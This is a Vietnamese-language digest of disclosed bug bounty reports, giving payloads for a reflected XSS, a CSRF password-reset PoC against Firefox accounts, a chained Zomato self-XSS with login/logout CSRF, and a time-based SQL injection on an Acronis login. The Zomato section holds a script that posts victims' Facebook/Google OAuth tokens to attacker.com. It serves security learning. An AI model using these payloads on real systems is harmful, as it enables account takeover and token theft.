XSS Reflected
Payload mà attacker sử dụng:
https://www.██████/tags/image/sizzle-reel?&view=K0X%22%20AutoFocus%20%2526%252362%20OnFocus%0c%3dprompt%601%60%20kaos%3d%22uwps2&sort=date
URL decode:
https://www.██████/tags/image/sizzle-reel?&view=K0X" AutoFocus %26%2362 OnFocus=prompt`1` kaos="uwps2&sort=date
CSRF to Information Disclosure on Password Reset
Do email của chức năng reset password có chứa IP của user gửi request, attacker có thể sử dụng CSRF payload sau và dụ nạn nhân click vào nhằm reset password của attacker.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://accounts.firefox.com/reset_password">
<input type="hidden" name="email" value="████████1@gmail.com" />
<input type="hidden" name="reset_password_confirm" value="false" />
<input type="hidden" name="email_to_hash_with" value="" />
<input type="hidden" name="utm_medium" value="email" />
<input type="hidden" name="utm_campaign" value="fx-password-changed-success" />
<input type="hidden" name="utm_content" value="fx-reset-password" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Khi đó, attacker sẽ thu được IP của nạn nhân.
Tồn tại một report tương tự: [2737309](https://hackerone.com/reports/2737309) để report việc Mozilla chưa fix hoàn toàn bug này. Điều đáng chú ý là trong report này, h1 đã đánh bug là informative và researcher phải nhiều lần mention h1 analyst để giải thích và đưa ra dẫn chứng về cách mà report trước đó (report ở trên) được acceptted.
Self-Stored XSS - Chained with login/logout CSRF
Attacker lưu self-stored XSS payload ở trong phần review của trang nhà hàng mà sẽ được trigger khi nhấn vào nút edit. Bằng cách chain nhiều bug lại với nhau, attacker tạo ra trang web để khiến cho victim log out và log in vào tài khoản của attacker cũng như là redirect đến trang review. Khi victim nhấn vào nút edit thì payload sẽ trigger để gửi Facebook/Google token đến attacker.
Param để inject XSS payload sẽ là with_tags_data
trong request bên dưới:
POST /php/submitReview HTTP/2
Host: www.zomato.com
Content-Type: applicatiom/x-www-urlencoded
review=140 characters long review&
review_db=140 characters long review&
with_tags_data=<script>prompt(0,document.domain)</script>&
res_id=19132208&
city_id=11333&
rating=5&
is_edit=0&
review_id=0&
save_image=1&
instagram_images_to_update=[]&
instagram_json_data={"data":[]}&
uploaded_images_json=[]&
share_to_fb=false&
share_to_tw=false&
snippet=restaurant-review&
web_source=default&
csrf_token=2acad4ba08d4000000000007923a25d&
external_url=
XSS payload dùng để đánh cắp Facebook/Google token (thay thế cho payload ở trên):
<script>
// load fb js-sdk
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
window.fbAsyncInit = function() {
FB.init({
appId : '288523881080', // zomato fb app id
xfbml : true,
version : 'v3.1'
});
//get auth response ( accessToken and signedRequest )
FB.login(function(){
$.post('https://attacker.com/tokens.php',FB.getAuthResponse())}); // send token and signed_request to attacker
document.location.href = 'https://www.zomato.com/logout'; // logout from victims's account
}
</script>
Payload dùng để thực hiện log out CSRF, OAuth log in CSRF và redirect đến trang review:
<form target="attackerTokens" method="post" action="https://www.zomato.com/php/asyncLogin.php?access_token=██████">
<input name='authResponse[accessToken]' value='█████'>
<input name='authResponse[userID]' value='███'>
<input name='authResponse[expiresIn]' value='5073'>
<input name='authResponse[signedRequest]' value='████'>
<input name='authResponse[reauthorize_required_in]' value='7774406'>
<input name='authResponse[data_access_expiration_time]' value='1569568133'>
<input type=submit>
</form>
<iframe name="attackerTokens"></iframe>
<!-- logout current session -->
<img src="https://www.zomato.com/logout">
<script>
setTimeout(function(){ document.forms[0].submit(); }, 1500); // login attackers account
setTimeout(function(){ window.location.href='http://zoma.to/link_to_review'; }, 4000); // redirect to XSS payload page
</script>
Đây là một bug khá hay vì nó tận dụng được những bug gần như không có impact:
- Self-stored XSS
- CSRF logout
- CSRF login
SQL Injection in https://demor.adr.acronis.com/
via the username
Parameter
SQL injection trong param username
:
POST /ng/api/auth/login HTTP/2
Host: demor.adr.acronis.com
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://demor.adr.acronis.com/
Cookie: PHPSESSID=bsrq24l7g5fmth5b683v2b3gu4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
{"username":"0'XOR(if(now()=sysdate(),sleep(35),0))XOR'Z","id":"27","password":"cc4226104294e44c5cec9f31cb6de7fa4597e4321b277f4e4b78c3a0ff980956"}